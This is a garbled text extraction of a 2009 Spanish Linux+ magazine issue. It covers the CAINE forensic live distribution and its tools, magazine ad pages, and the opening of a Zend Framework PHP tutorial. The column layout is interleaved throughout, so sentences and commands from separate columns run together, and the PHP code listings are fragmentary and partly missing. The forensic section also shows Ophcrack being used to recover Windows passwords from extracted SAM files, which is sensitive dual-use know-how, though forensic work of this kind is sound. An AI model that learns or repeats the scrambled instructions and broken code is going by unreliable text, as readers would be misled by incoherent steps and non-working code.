be especificar todas las opciones de montado, Integración de Adobe Flash Player • Descargar la última versión de Flash o el sistema montará el dispositivo con la op- La integración del plugin Flash en el li- Player, y especialmente el archivo .tar.gz., ción por defecto rw (como en Helix). veUSB no funciona debido a que el software • Descomprimir y copiar el archivo lib- Si el usuario desea montar y escribir so- está desactualizado, y está configurado para flashplayer.so en el directorio: /moun- bre un medio NTFS se debe utilizar el coman- instalar Flash Player 9, pero en la actuali- ting-directory/casper/flash.dir/usr/lib/

do ntfs-3g (por ejemplo: $ sudo ntfs-3g dad existe la versión 10 y las versiones pre- xulrunner-addons/plugins/. /dev/sda1 /media/sda1): vias ya no están disponibles. Para resolver este problema se puede realizar el siguiente Soporte de lenguaje $ sudo ntfs-3g /device-path / proceso: El reporte de CAINE soporta los siguientes your-mount-point lenguajes: inglés, italiano, francés, alemán • Instalar el liveUSB normalmente verifi- y portugués. La traducción de la plantilla Si el usuario desea montar un dispositivo HFS, cando la opción para instalar Flash (si se de reporte en francés y alemán fueron ama- se debe modificar el /etc/fstab y especificar obtiene un error, presionar OK), blemente realizadas por Guy Vucken, desa- que el dispositivo es un medio HFS (Hierar- • Completar la configuración como se ha rrollador de Guymager, quien previamente chical File System), debido a que el sistema detallado anteriormente, modificando el ha cooperado con el equipo para integrar su reconoce por defecto solamente dispositivos archivo /boot/syslinux/syslinux.cfg, software forense en CAINE. La traducción HFS Plus. Entonces el dispositivo puede ser montado de manera usual.

El LiveUSB Para crear un liveUSB de CAINE son necesa- rios los siguiente ingredientes:

• La última versión del liveCD de CAINE, • Un USB stick (al menos de 1GB), • Aproximadamente 3 horas de tiempo.

Se debe iniciar CAINE desde el cd-rom, selec- cionar el modo gráfico, insertar el USB stick, luego iniciar una shell y ejecutar el coman- do liveusb. En la Figura 2 se puede ver el proceso. Siguiendo las pantallas que aparecen, se deben seleccionar las opciones que se crean convenientes, y al final presionar el botón Start para iniciar la instalación en el USB. Figura 1. Salida del comando mount Después de la instalación, NO se debe rei- niciar el sistema, pero sí desconectar y conec- tar nuevamente el USB stick, abrir una shell y montar en modo lectura/escritura la pri- mera partición del USB stick. Luego abrir el archivo /boot/syslinux/syslinux.cfg con y reemplazar el contenido existente con lo siguiente:

DEFAULT /casper/vmlinuz APPEND noprompt persistent BOOT_IMAGE=/casper/vmlinuz file=/cdrom/preseed/custom. boot=casper initrd=/casper/ initrd.gz -- debian-installer/ language=it console-setup/ layoutcode=it

Luego de guardarlo, se puede retirar el USB stick desde la shell y reiniciar el sistema. Aho- ra el USB stick es un liveUSB de CAINE. Figura 2. Ejecución del comando liveusb

www.lpmagazine.org 59

58_59_60_61_62_63_64_65_Caine.indd 59 2009-08-13, 14:12 seguridad CAINE

  * scalpel * SFDumper * stegdetect * testdisk * TheSleuthKit 3.0 * afflib * cryptcat * libewf * md5sum * sha256sum * sha512sum * Abiword 2.6.4 * Firefox 3.0.5 * Dvdisaster * GCalcTool * * * gtk-recordmydesktop * liveusb Figura 3. Interfaz de bienvenida del liveCD de CAINE en entorno Windows * ntfs-3g

al portugués ha sido gentilmente proporcio- nada por Tony Rodriguez un experto portu- gués en cómputo forense y digital. Se tiene la esperanza de incrementar el número de traducciones en el futuro. Si se desea par- ticipar proporcionando una traducción del reporte en un lenguaje, o si existe un error en la traducción del reporte, se recomienda contactar con el equipo de CAINE. El liveCD de CAINE utiliza por defecto la disposición de teclado italiano. Se reco- mienda cambiar la disposición utilizando el programa “Key Preferences” en System -> Preferences, en el menú de GNOME o uti- lizando el comando loadkkeys xy (xy=”it”, “gb”, “de”, etc.) en la línea de comando.

Figura 4. Interfaz de WinTaylor en forma de fichas Construcción de CAINE La distribución CAINE ha sido realizada desde Ubuntu Linux 8.04 utilizando también Remastersys desarrollada por Tony Brijeski y lanzada con licencia GNU GPL, ver- sión 2.

Herramientas y Paquetes in- cluidos en CAINE Las herramientas y paquetes incluidos en el liveCD de CAINE se detallan abajo:

* Autopsy 2.20 * foremost * Fundl * gtkhash * Guymager * LRRP * ophcrack * photorec Figura 5. Interfaz con las herramientas de recolección disponibles en CAINE

60 Linux+ 10/2009

58_59_60_61_62_63_64_65_Caine.indd 60 2009-08-13, 14:12 seguridad CAINE

* VLC * Wicd WinTaylor para CAINE WinTaylor es la nueva interfaz forense cons- truida para Windows e incluida en el liveCD de CAINE; tal como se muestra en la Figura 3. Está escrito en Visual Basic 6, por lo tanto un VB6 runtime mínimo es necesario para ejecutar el programa, para maximizar la com- patibilidad con sistemas Windows antiguos, y proporciona un conjunto interno de progra- mas forenses bastante conocidos. Este liveCD proporciona el instalador Runtime necesario, y se es libre de realizar su instalación SOLO SI WinTaylor no funciona, pero se debe ser consciente de que esta acción puede modificar el sistema. De otra manera se pueden ejecutar los programas forenses in- cluidos desde la página HTML para el modo Figura 6. Recolección de /dev/sda utilizando AIR de compatibilidad. Esta página solo funciona en Internet Explorer. WinTaylor propone una integración sim- ple y completa del software forense, además hereda la filosofía de diseño de CAINE. Si se desea ejecutar WinTaylor en Windo- ws Vista se deben registrar los archivos .ocx, ejecutando el script BATCH RegOcx4Vista. Para asegurar la transparencia de las ope- raciones realizadas por WinTaylor durante su ejecución se tiene disponible el código fuen- te del programa, que está licenciado bajo la licencia GPL 2.1. El código es visible y edi- table, para el beneficio de los desarrollado- res y para preservar los buenos estándares en software forense de Fuente Abierta (Open Source). La interfaz, como se muestra en la Fi- gura 4, está estructurada con un estilo fami- Figura 7. Consulta al usuario para mantener o descargar el registro de sesiones previas liar de fichas en CAINE, e implementa un sis- tema de reporte bien conocido para registrar las sesiones de investigación. Se debe ser conciente de que si se decide ejecutar WinTaylor no existe una manera ab- soluta de proteger de modificación el entorno live en Windows. WinTaylor y las aplicaciones que se ejecutan pueden realizar cambios en el sistema que está en funcionamiento. Este es un riesgo aceptable que se debe de estar dispuesto a tomar. Si no se acepta tomar este riesgo o no se entiende lo que se está realizando se debe de detener el proceso de inmediato. Características:

• Herramienta de creación de reporte, que guarda en un archivo de texto plano y por- table la lista de programas utilizados con marcas de tiempo. Figura 8. Ejecución de Guymager y sus parámetros de adquisición

www.lpmagazine.org 61

58_59_60_61_62_63_64_65_Caine.indd 61 2009-08-13, 14:12 seguridad CAINE

• Estructura de pestañas que proporciona un esquema lógico para el proceso de investigación. • Herramientas en línea de comando que imprimen su salida dentro de WinTaylor. • Herramientas SysInternals actualizadas. • Herramienta versátil de hashing. • Herramienta de captura de pantalla.

Herramientas y Paquetes in- cluidas en WinTaylor Las herramientas y paquetes incluidas en WinTaylor, incluyen herramientas de propó- sito general, de volcado de memoria, herra- mientas de red, Systernals con GUI y Sys- ternals en modo consola. Abajo se detalla completamente las herramientas incluidas en WinTaylor:

* ActiveXHelper Figura 9. “Open Terminal” o Abrir una Terminal. * IECookiesView * IEHistoryView * IEPassView * IPNetInfo * MessenPass * OpenedFilesView * PC Time * ProduKey * RegScanner * Recover Files * ShellExView * USB History Dump * FTKImager * Windows Forensic Toolchest * Nigilant32

Volcado de RAM:

* MDD Figura 10. Interfaz con las herramientas de análisis disponibles en CAINE * Win32dd * Winen

Herramientas de Red:

* Fport * TCPView * Advanced LAN Scanner

Sysinternals con GUI:

* AccessEnum * Autoruns * DiskView * Filemon * procexp * Regmon * RootkitRevealer * Winobj Figura 11. Análisis con Autopsy de una imagen en bruto obtenida con dd

62 Linux+ 10/2009

58_59_60_61_62_63_64_65_Caine.indd 62 2009-08-13, 14:12 seguridad CAINE

Sysinternals desde una terminal: El código de AIR ha sido modificado para permitir al usuario, que cada vez que el pro-

* autorunsc grama empieza se puedan mantener o descar- * efsdump tar los registros guardados de sesiones previas, * handle tal como lo muestra la Figura 7. * Listdlls Características de AIR: * logonsessions * ntfsinfo • Auto detección de unidades IDE y SCSI, * psexec CD-ROMS, y unidades de cinta. * psfile • Elección para utilizar dd o dcfldd. Figura 12. Ejecución de Foremost y directorios * psgetsid • Verificación de imagen entre la fuente y la creados con las extensiones de los archivos recu- * Psinfo copia mediante MD5 o SHA1/256/384/512. perados * pskill • Compresión y descompresión de la ima- * pslist gen mediante gzip / bzip2. • Diseño multi-hilo y compresión de datos * psloggedon • Réplica sobre una red TCP/IP mediante multi-hilos. * psloglist netcat / cryptcat. • Hace uso completo de maquinas multi * pspasswd • Soporta unidades de cinta SCSI. procesador. * psservice • Wiping (zeroing), "Reducción a cero" de • Genera archivos “planos” dd e imágenes * psshutdown unidades o particiones. EWF (E01). * pssuspend • División de imágenes en varios segmentos. * streams • Registro detallado con fechas / tiempos Terminal con guardado de registro * strings y comandos utilizados. Durante la recolección de la imagen forense, el investigador puede utilizar la interfaz grá- Evaluando las Herramientas Guymager fica de CAINE, pero también puede realizar incluidas en CAINE Guymager es una herramienta de réplica fo- la recolección manual a través del comando Las herramientas para el entorno GNU/Linux rense que maneja archivos estándar en bruto dd activándolo en una ventana de la terminal. de CAINE se han evaluado con el siguiente y archivos EnCase. Utiliza un motor de alta En este caso, CAINE ofrece la posibilidad de escenario: se ha procedido a realizar la insta- velocidad multi-hilos, y tiene una interfaz usar la ventana de la terminal con guardado lación del liveCD CAINE utilizando Virtual- gráfica amigable. La Figura 8 muestra la eje- automático de la salida, como se muestra en Box, además se tiene conectada una unidad cución de Guymager, se puede visualizar que la Figura 9, éste es almacenado dentro de un USB al sistema y un archivo hdb.dd que co- sólo se ha detectado la unidad de CDROM archivo temporal, el cual es manejado por la rresponde a la imagen en bruto obtenida con y la unidad donde ha sido instalado CAINE. herramienta de reporte de CAINE. dd de un disco duro en una PC con Windows. Características de Guymager: Se debe resaltar que la instalación de CAINE Herramientas de Análisis sigue un proceso similar, por no decir idénti- • Interfaz de usuario fácil en diferentes Las principales herramientas de la fase de Aná- co, a la instalación de Ubuntu. lenguajes. lisis son Autopsy, Foremost, Scalpel, SFDum- • Se ejecuta en GNU/Linux. per, Stegdetect, 0phcrack y Fundls. La Figura Herramientas de Recolección Las principales herramientas de la fase de recolección son AIR y Guymager. La Figura 5 muestra la interfaz de CAINE con las herra- mientas de recolección disponibles.

AIR Por sus siglas en inglés AIR (Automated Image & Response) significa “Imagen y Res- puesta Automatizada”, es una aplicación de fuente abierta que proporciona una interfaz para dd / dcfldd. Soporta hash MD5 / SHAx, unidades de cinta SCSI, réplica sobre redes TCP/IP, división de imágenes, registro deta- llado de sesión. La interfaz de CAINE imple- menta una versión modificada de AIR para garantizar la integración y usabilidad del software. La Figura 6 muestra el proceso de recolección de /dev/sda/ utilizando dcfldd, hash SHA1, un tamaño de bloques de 512, entre otras opciones. Figura 13. Ejecución de SFDumper y la carpeta que contiene algunos archivos JPEG recuperados

www.lpmagazine.org 63

58_59_60_61_62_63_64_65_Caine.indd 63 2009-08-13, 14:12 seguridad CAINE

de los archivos que Foremost es capaz de dos en un archivo temporal, el cual está listo recuperar. para ser incluido en el reporte final de la in- Scalpel es una versión modificada y me- vestigación. La Figura 14 muestra la ejecu- jorada de Foremost 0.69, y trabaja directa- ción de Stegdetect aplicada en el directorio mente sobre la unidad o sobre archivos de JPG de los archivos “tallados” producto de imagen, como aquellos generados por dd, la utilización de Foremost. SafeBack, EnCase. Ambos programas cuen- tan con una interfaz adaptada que permite 0phcrack varias ventanas para selección de entrada Este es un famoso programa para explotar /salida y acceso directo al manual de usuario contraseñas. CAINE no proporciona las ra- Figura 14. Ejecución de Stegdetect / ayuda. inbow tables para 0phcrack, debido a pro- blemas de espacio de memoria de la versión SFDumper liveCD, sin embargo se garantiza una com- Es un script BASH el cual puede recuperar pleta compatibilidad entre 0phcrack y la todos los archivos del tipo elegido (ejemplo, distribución CAINE. Este programa viene .doc o .jpg) sin importar que estén activos, con una interfaz gráfica que está integrada eliminados o sin asignar. dentro de CAINE. La Figura 15 muestra la SFDumper ejecuta automáticamente ejecución de 0phcrack intentando obtener Foremost para el “tallado”, y Sleuth Kit pa- las contraseñas desde los archivos SAM ra recuperar archivos eliminados. Además y system, recuperados en un proceso ante- de ello, elimina los archivos duplicados por rior con la utilización de Autopsy. comparación de hash SHA256 de los archi- Figura 15. Ejecución de 0phcrack, intentando vos tallados y archivos activos o eliminados. Fundl recuperar contraseñas Gracias al tallado, los archivos se renom- Fundl es un archivo BASH SHELL para 10 muestra la interfaz de CAINE con las he- bran con una extensión diferente que pue- GNU/Linux (requiere la utilización de Sleuth rramientas de análisis disponibles. den ser identificados fácilmente. Además, Kit), el cual es utilizado para recuperar es posible expandir el archivo de configura- todos los archivos eliminados de un disco Autopsy ción de Foremost dentro del script para aña- o una imagen de flujo de bits. La Figura 16 Autopsy Forensic Browser (Navegador de dir nuevas extensiones y llevar a cabo una muestra las consultas realizadas al usuario, Autopsia Forense) es una interfaz gráfica búsqueda de palabras clave en los archivos al momento de ejecutar Fundl. Al finalizar para las herramietnas The Sleuth Kit, que extraídos. el proceso, se pueden ubicar todos los ar- originalmente se basan en línea de comando. El script puede trabajar en un archivo chivos recuperados en la carpeta indicada Permiten al investigador digital analizar de imagen o puede aplicarse directamente por Fundl. discos UNIX y Windows, y Sistemas de Ar- a un dispositivo. La Figura 13 muestra la chivos como NTFS, FAT, UFS1/2 y Ext2/3. ejecución de SFDumper, entre las consultas CAINE mantiene la misma interfaz tipo realizadas por el programa para su funciona- navegador de Autopsy, pero controla la pro- miento, se ha indicado que se recuperen so- ducción de la salida y generación de reportes lamente los archivos de formato JPEG, ubi- a través de scripts BASH. La página de ayuda cados en una partición específica, además es automáticamente actualizada. La Figu- de realizar posteriormente un “tallado” de ra 11 muestra el análisis de archivos utili- archivos. zando Autopy, en este caso se trata de loca- lizar los archivos con información de las Stegdetect contraseñas utilizadas por los usuarios en Es una herramienta OpenSource para este- Figura 16. Consultas realizadas al usuario por Windows XP, puntualmente los archivo SAM ganografía que es útil para descubrir infor- parte de Fundl al ser ejecutado y system ubicados en el directorio c:/WIN- mación oculta en imágenes almacenadas. DOWS/system32/config/. CAINE añade una interfaz gráfica para el comando en la interfaz principal, y propor- Foremost y Scapel ciona también una interfaz gráfica alterna- CAINE proporciona al investigador Foremost tiva Xsteg. y Scalpel, que son programas de recupera- Stegdetect trabaja a través de una sin- ción de archivos para “escultura o tallado” taxis simple que consulta al usuario para que de datos basado en sus cabeceras, pie y es- proporcione un directorio en el cual almace- tructuras internas de datos. La Figura 12 mu- nar las imágenes JPEG. La interfaz gráfica estra parte del proceso de la utilización de permite al investigador seleccionar una car- Foremost, además se muestra una estruc- peta en la cual las fotos sospechosas de tura de directorios, donde el nombre de esteganografía sean almacenadas. Al final de Figura 17. Opciones para obtener el reporte final cada directorio corresponde a la extensión este proceso, la interfaz guarda los resulta- de la investigación

64 Linux+ 10/2009

58_59_60_61_62_63_64_65_Caine.indd 64 2009-08-13, 14:12 seguridad CAINE

Cuando se procede a genera el reporte entre Helix3 y CAINE, si están inmersos en se solicita al usuario, el nombre del caso, el mundo forense ya estarán enterados que el nombre del investigador. Al finalizar el Helix3Pro sólo puede ser obtenido y utilizado proceso de investigación se puede obtener previo pago de una membresía. CAINE es el reporte en el formato que más se adecúe también un excelente liveCD forense que de- a nuestras necesidades, como se muestra en bemos de analizar y evaluar, con el propósito la Figura 17. de que mejore y evolucione para beneficio de Un ejemplo del reporte final generado en todos. formato HTML con CAINE, se puede ver en la Figura 18. Figura 18. Reporte final de la investigación gene- En el presente artículo no se han evalua- rado en HTML do las herramientas que CAINE proporciona En la red Creación del Reporte con WinTaylor para realizar un análisis • CAINE: La posibilidad de una comunicación simp- forense en un entorno Windows, prefiero http://www.caine:live.net le de los resultados de un análisis digital dejar al usuario experimentar con estas he- • CRIS: es una característica importante que rramientas o tal vez pueda ser motivo para http://www.cris.unimore.it/cris/ CAINE proporciona al final de la investi- un próximo artículo. • University of Modena and Reggio gación. Lo ideal es crear un reporte bien También debo mencionar que así como es Emilia: estructurado y de fácil entendimiento, posible obtener la imagen ISO de CAINE co- http://www.ing.unimo.it/ para evitar detalles técnicos innecesarios rrespondiente al liveCD de aproximadamente • Guymager: y divagaciones. 650 MB, también se proporciona el código http://guymager.sourceforge.net/ Durante las fases de recolección, exami- fuente de WinTaylor. Además se puede obte- • CAINE LiveUSB: nación y análisis, un investigador digital ner NBCAINE, que es una imagen dd en bruto http://www.caine:live.net/page13/ puede escribir notas y reportes que registren de la versión liveUSB de CAINE, que ha sido page13.html las principales características del proceso creado y es mantenido por Nanni Bassetti. De • RemasterSys: de examinación, algunas conclusiones par- igual manera existe un PXS installer creado http://www.remastersys.klikit: ciales y la información recuperada más im- por Denis Frati, que es un script para instalar linux.com/ portante. Estas notas de examinación de- PTK, el cual es una alternativa a la interfaz • AIR: ben ser preservadas hasta finalizar la investi- para Sleuth Kit creada por DFLabs, para ser http://air:imager.sourceforge.net/ gación del caso, momento en que se debe utilizado con XAMPP y todo el paquete ne- • Guymager: constituir un reporte completo y claro. Se cesario. http://guymager.sourceforge.net/ debe recordar que el investigador digital • Autopsy: puede requerir testificar no solamente sobre Conclusiones http://www.sleuthkit.org/autopsy/ el resultado del examen, sino también acerca CAINE 0.5 está basado en Ubuntu 8.04, pero • The Sleuth Kit: de la validez del procedimiento conducido es posible realizar la actualización a Ubuntu http://www.sleuthkit.org/ y sus calificaciones para llevar a cabo la 9.04. Se espera pronto la versión de CAINE • Foremost: investigación. 1.0, que estoy seguro traerá importantes nove- http://foremost.sourceforge.net/ dades para beneficio de todos los interesados • Scalpel : en temas forenses. http://www.digitalforensicssolutions. CAINE tiene un entorno de investigación Sobre el Autor com/Scalpel/ forense para Windows y para GNU/Linux. Alonso Eduardo Caballero Quezada es • SFDumper: Contiene las herramientas fundamentales para QualysGuard Certified Specialist y GIAC http://sfdumper.sourceforge.net/ realizar una revisión, proteger y obtener evi- SSP-CNSA. Actualmente trabaja como • Stegdetect: dencia de un sistema Windows en funciona- Consultor para dos empresas de Ethi- http://www.outguess.org/ miento. El entorno Linux contiene las princi- cal Hacking y una de Análisis Forense detection.php pales herramientas que el mundo OpenSource Digital. Perteneció por muchos años al • 0phcrack: ha producido para realizar todo el proceso de grupo RareGaZz. Actualmente es inte- http://ophcrack.sourceforge.net/ análisis forense digital. grante del Grupo Peruano de Seguridad • XP Rainbow Tables: Todas las herramientas en CAINE son PeruSEC. Se presenta de manera fre- http://ophcrack.sourceforge.net/ completamente funcionales. Pero el análisis cuente en exposiciones, las cuales se tables.php forense digital no compete sólo la utilización enfocan a Ethical Hacking, Análisis de • Fundl: http:// de herramientas. Se debe tener un excelente Vulnerabilidades, Pruebas de Penetra- sfdumper.sourceforge.net/fundl.htm conocimiento de las técnicas, fundamentos ción, Cómputo Forense, GNU/Linux • PTK : y metodologías utilizadas en temas de forense y Software Libre. Su correo electrónico http://ptk.dflabs.com/ digital. De esta manera se pueden seleccionar es [email protected] y su página • XAMPP: las herramientas adecuadas que el analista personal está en: http://sourceforge.net/projects/ forense requiera para cumplir su labor. Final- http://www.ReYDeS.com xampp/ mente prefiero no realizar una comparación

www.lpmagazine.org 65

58_59_60_61_62_63_64_65_Caine.indd 65 2009-08-13, 14:12 programación El editor Vim Página de LiNUX+ está cambiando

¡Bienvenido a nuestra Nuestro objetivo es página de incio! transformarla en un Aquí leerás todo sobre sitio donde podrás el número actual de LiNUX+, tomarás encontrar toda la parte en la encuesta información sobre o conocerás las conferencias que GNU/Linux y Soft- patrocinamos ware Libre que necesites

En la sección de descarga encontrarás artículos y revistas que podrás leer online o descargar en pdf. Cada dos semanas añadimos un artículo nuevo y cada treinta días: un número entero de LiNUX+

¿Quieres más? En el centro de descarga te ofrecemos una lista de programas libres que te pueden ser muy útiles en el trabajo diario con GNU/Linux

66 Linux+ 9/2009

66_67_rekl_strony_www.indd 66 2009-08-13, 14:37 LiNUX+ patrocina Página de LiNUX+ está cambiando varios eventos de Software Libre en España y América Latina. Echa un vista- zo si quieres estar al tanto con los eventos más grandes y más famosos

Somos amigos de muchos portales y blogs dedicados a GNU/Linux y Software Libre. ¿Quieres saber más? Entra en la pestaña de Web Amigas

Recientemente hemos iniciado un foro para nuestros lectores, betatesters, autores y todas las personas interesadas en el tema de GNU/Linux. Comparte tu opinión no solo con nosotros, sino con todos a los que les fasci- na la misma cosa: el mundo libre

www.lpmagazine.org 67

66_67_rekl_strony_www.indd 67 2009-08-13, 14:37 programación Zend Framework

Primeros pasos en Zend Framework Juan Pablo Tobar Programar debería ser divertido y desafiante, pero cuando reinventamos la rueda o perdemos tiempo en actividades repetitivas y poco creativas, la diversión se esfuma rápidamente. Los frameworks de desarrollo nos entregan un esquema general de trabajo y código que podemos reutilizar para evitar la reescritura de funcionalidades comunes, permitiéndonos así enfocarnos en desarrollar sólo lo exclusivamente necesario.

n este artículo podrás conocer uno de los una estructura sobre la cual desarrollamos nuestros principales framework para PHP: Zend Fra- proyectos. mework. Primero veremos su configuración Entre las ventajas de usar frameworks, se pueden y, posteriormente, el desarrollo de una aplica- contar: [email protected] Eción de demostración. • Facilita integrar a otros personas a tus proyectos ya ¿Qué son los frameworks? que se comparten convenciones de desarrollo comu- Mientras más tiempo pasamos programando, más cla- nes. ses, funciones y herramientas vamos acumulando, hasta • No nos preocupamos de mantener actualizadas las llegar al punto en que tenemos un sistema que aplica- distintas partes. mos a cualquier proyecto. El problema con esto es que • No reinventar la rueda, ya que aprovechamos los generalmente tenemos una especie de Frankestein que componentes existentes aumentando la velocidad de está hecho de muchas partes (de terceros o programa- desarrollo. dos por nosotros mismos), lo cual implica que sea difí- cil tenerlo actualizado y funcionando en forma correcta Como desventajas se pueden nombrar: y segura. Los frameworks, como su nombre lo indica, nos • Agrega código adicional que no es tuyo. entregan una estructura, armazón o marco para de- • Hay que invertir tiempo en aprender a usarlos. sarrollar nuestros proyectos. En otras palabras, nos • En algunos casos una aplicación desarrollada con un entregan una serie de clases, funciones o librerías, framework puede ser más lenta (en cuanto a rendi- que junto a convenciones comunes, se organizan bajo miento) que una diseñada y desarrollada desde cero.

68 Linux+ 10/2009

68_69_70_71_72_73_74_75_ZEND.indd 68 2009-08-14, 12:20 programación Zend Framework

¿Por qué usar Zend Framework? Existe una gran oferta de frameworks para PHP, unos más maduros que otros, con más documentación que otros o con mejor ren- dimiento que otros. Igualmente en Internet podemos encontrar una gran cantidad de información comparativa y, en general, opi- niones sobre cual es superior al resto. Luego de haber probado: Symfony, CakePHP, Codeigniter, Kohana y Zend Framework, me queda sólo una conclusión clara: la decisión de cual es el mejor, sólo la puedes tomar tú probando cada uno y analizando cual se adapta mejor a tus necesidades actuales. Figura 1. Página de bienvenida de Zend Framework En mi caso elegí Zend Framework por Una vez descargado y descomprimido • INSTALL.txt: se indican los requerimien- las siguientes razones: nos encontramos con el siguiente árbol de tos y recomendaciones para la instala- directorios: ción del framework. • En general muy buena documentación, • LICENCE.txt: texto de la licencia. • Una comunidad activa, • /bin: contiene ejecutables que nos ayu- • README.txt: informa sobre los cambios • Tiene el respaldo de la compañía que está dan a realizar algunas actividades co- de la versión descargada respecto a la detrás de PHP: Zend Technologies Ltd., munes, como por ejemplo crear nuevos anterior. • Gran cantidad de componentes, incluidos proyectos. algunos de Microsoft, Google y Adobe, • /library: contiene todos los componen- Lo primero que haremos es mover el directo- • Soporta PHP 5>. tes de Zend Framework. rio de Zend Framework a un lugar de nuestra

Tabla 1. Acciones dentro de los controladores Si bien tiene varias ventajas, una de sus de- sventajas es que es un poco más difícil de Página Controlador Acción aprender que otras alternativas, como por Inicio index index ejemplo Codeigniter (CI) y, además, existen Agregar contacto index add reportes que indican que también tiene un Editar contacto index edit rendimiento menor que el mismo CI. Borrar contacto index delete

Preparando el Sistema Tabla 2. Creando el controlador Nota: antes de comenzar con la preparación URL Controlador / Acción del sistema se asume que el lector conoce la http://localhost/zf/primer-proyecto/public/ IndexController / indexAction programación orientada a objetos en PHP y el http://localhost/zf/primer-proyecto/public/index/add IndexController / addAction Modelo Vista Controlador (MVC). Además, http://localhost/zf/primer-proyecto/public/index/edit IndexController / editAction el proceso de configuración inicial está orien- tado a sistemas Linux aunque su replicación http://localhost/zf/primer-proyecto/public/index/delete IndexController / deleteAction en sistemas Windows no debería tener mayo- res complicaciones. Listado 1. Configuración inicial del Bootstrap Para preparar nuestro sistema para co- menzar a trabajar con Zend Framework de-

bemos verificar que cumplimos con sus re- #/var/www/zf/primer-proyecto/application/Bootstrap.php querimientos: '', desde: http://framework.zend.com/download/ 'basePath' => APPLICATION_PATH)); latest (te recomiendo la versión “minimal”). return $moduleLoader; A la fecha de este tutorial el archivo descar- } gado es: ZendFramework-1.9.0-minimal. } tar.gz.

www.lpmagazine.org 69

68_69_70_71_72_73_74_75_ZEND.indd 69 2009-08-14, 12:20 programación Zend Framework

preferencia (por ejemplo, nuestro /home) Listado 2. Estado inicial del controlador y agregaremos un alias para los ejecutables. Abrimos una terminal y ejecutamos: fetchRow('id = ' . $id); ting project at /var/www/zf/primer-proyecto” if (!$row) { y dentro del directorio /var/www/zf/primer- throw new Exception("No se encuentra la fila$id "); proyecto deberías encontrar lo siguiente: } return $row->toArray(); } • /application: contiene los directorios public function addContact($name, $lastname, $email) destinados a nuestra aplicación, { • /library: debe contener todos los compo- $data = array( nentes de Zend Framework, 'name' => $name, • /public: este directorio es el único que 'lastname' => $lastname, 'email' => $email, debería tener acceso público, ); • /tests: directorio destinado a pruebas $this->insert($data); para tu aplicación. } function updateContact($id, $name, $lastname, $email) Como te habrás dado cuenta, en tu proyecto { el directorio /library está vacío y como se ex- $data = array( plicó en el párrafo anterior éste debe contener 'name' => $name, 'lastname' => $lastname, todos los componentes del framework. Luego 'email' => $email, es necesario que vayamos al directorio que ); descomprimimos inicialmente (y que lo tene- $this->update($data, 'id = '. (int)$id); mos en “/home/tu-usuario/ZendFramework- } 1.9.0-minimal/”) y copiemos el contenido del function deleteContact($id) directorio /library en el de nuestro proyecto. { $this->delete('id =' . (int)$id); Si prefieres, en lugar de copiar el directo- } rio /Zend, puedes hacer un enlace simbólico, } disminuyendo así el espacio a ocupar.

70 Linux+ 10/2009

68_69_70_71_72_73_74_75_ZEND.indd 70 2009-08-14, 12:20 programación Zend Framework

Listado 4. Modificaciones al Bootstrap Si ahora vas a tu navegador y abres http:// localhost/zf/primer-proyecto/public/ deberías ver

function _initViewHelpers() el siguiente mensaje de bienvenida (Figura 1). { $this->bootstrap('layout'); Creación de nuestro primer $layout = $this->getResource('layout'); proyecto $view = $layout->getView(); Luego de tener nuestro sistema funcionando $view->doctype('XHTML1_STRICT'); ya estamos listos para iniciar nuestro primer $view->headMeta()->appendHttpEquiv('Content-Type', 'text/ proyecto. html;charset=utf-8'); Zend Framework tiene una clase llamada $view->headTitle()->setSeparator(' - '); “Bootstrap” que nos permite iniciar los recur- $view->headTitle('Primeros pasos en Zend Framework'); sos que utilizaremos en nuestro proyecto, la } ubicación de esta clase es: /var/www/zf/pri- mer-proyecto/application/Bootstrap.php. Lo primero que haremos es agregar al Bootstrap la funcionalidad de autocarga de Listado 5. Definición del layout de nuestro proyecto recursos (Listado 1). En nuestras aplicaciones con Zend Fra- mework tenemos controladores (controllers)

doctype(); ?> y dentro de ellos existen acciones (actions), así si por ejemplo estuviéramos programando un blog y llamamos a: http://localhost/zf/pri- headMeta(); ?> mer-proyecto/public/entradas/agregar, el con- headTitle(); ?> trolador sería “entradas” y la acción “agregar”. Para nuestro proyecto inicial lo que haremos es un directorio de contactos, es

escape($this->title); ?>

decir, una aplicación simple que nos servirá layout()->content; ?> para gestionar la información relacionada con las personas que conocemos. Como es un proyecto simple nos basta con trabajar con el controlador por defecto (“index”) y dentro de éste las siguientes acciones (Tabla 1).

Listado 6. Implementación de la funcionalidad para mostrar los contactos Creando el controlador Para crear nuestras acciones basta con abrir

// action body una terminal, acceder al directorio de nuestro // Título de la vista proyecto (/var/www/zf/primer-proyecto/ap-

$this->view->title = "Mis Contactos"; plication/controllers) y ejecutar los siguientes // Iniciamos una instancia de nuestro modelo comandos:

$contacts = new Model_Table_Contacts(); // Asignamos a la vista el resultado de consultar por todos los zf create action add index registros zf create action edit index $this->view->contacts = $contacts->fetchAll(); zf create action delete index

Éstos crearán las acciones “add”, “edit” y “delete” dentro del controlador “index”. Si todo se realizó correctamente deberías poder ver dentro del directorio application/contro- llers un archivo llamado “Index Controller. php” que contiene las acciones antes men- cionadas (Listado 2). Estos mismos comandos además de crear el controlador y sus acciones también crean las vistas que más tarde utilizaremos. Resumien- do ya tenemos la siguiente estructura (Tabla 2). Si pruebas cada URL deberías ver el siguien- te mensaje (con excepción de la primera URL Figura 2. Página por defecto de nuestro proyecto que tiene aún la vista por defecto de Zend

www.lpmagazine.org 71

68_69_70_71_72_73_74_75_ZEND.indd 71 2009-08-14, 15:10 programación Zend Framework

Listado 7. Vista para la funcionalidad para mostrar los contactos

Agregar contacto

contacts as $contact) : ?>
Nombre Apellido Correo  
escape($contact->name);?> escape($contact->lastname);?> escape($contact->email);?> Editar Borrar

Listado 8. Implementación del formulario para agregar contactos

class Form_Contact extends Zend_Form { public function __construct($options = null) { parent::__construct($options); $this->setName('contact'); $id = new Zend_Form_Element_Hidden('id'); $name = new Zend_Form_Element_Text('name'); $name->setLabel('Nombre') ->setRequired(true) ->addFilter('StripTags') ->addFilter('StringTrim') ->addValidator('NotEmpty'); $lastname = new Zend_Form_Element_Text('lastname'); $lastname->setLabel('Apellido') ->setRequired(true) ->addFilter('StripTags') ->addFilter('StringTrim') ->addValidator('NotEmpty'); $email = new Zend_Form_Element_Text('email'); $email->setLabel('Correo') ->setRequired(true) ->addFilter('StripTags') ->addFilter('StringTrim') ->addValidator('NotEmpty'); $submit = new Zend_Form_Element_Submit('submit'); $submit->setAttrib('id', 'submitbutton'); $this->addElements(array($id, $name, $lastname, $email, $submit)); } }

72 Linux+ 10/2009

68_69_70_71_72_73_74_75_ZEND.indd 72 2009-08-14, 12:20 programación Zend Framework

